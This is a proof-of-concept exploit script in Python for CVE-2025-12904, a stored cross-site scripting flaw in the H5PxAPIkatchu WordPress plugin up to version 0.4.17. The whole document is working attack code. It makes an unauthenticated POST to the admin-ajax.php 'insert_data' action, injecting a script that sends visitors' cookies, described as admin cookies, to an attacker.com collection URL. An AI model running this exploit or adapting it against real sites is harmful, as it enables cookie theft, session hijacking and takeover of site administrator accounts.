CVE-2025-12904 WordPress H5PxAPIkatchu插件存储型XSS漏洞

import requests import sys # CVE-2025-12904 PoC - Stored XSS in H5PxAPIkatchu plugin # Target: WordPress site with H5PxAPIkatchu plugin <= 0.4.17 TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_stored_xss(): """ Exploits CVE-2025-12904 by injecting malicious JavaScript via insert_data AJAX endpoint The injected script will execute when any user accesses the affected page """ # Malicious XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Prepare the POST request to insert_data endpoint data = { 'action': 'insert_data', # AJAX action hook 'insert_data': xss_payload # Unsanitized input field } try: # Send POST request without authentication (PR:N) response = requests.post(AJAX_ENDPOINT, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully!") print(f"[+] The XSS payload has been stored in the database") print(f"[+] The script will execute when users access affected pages") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-12904 - H5PxAPIkatchu Stored XSS Exploit") print("=" * 50) exploit_stored_xss()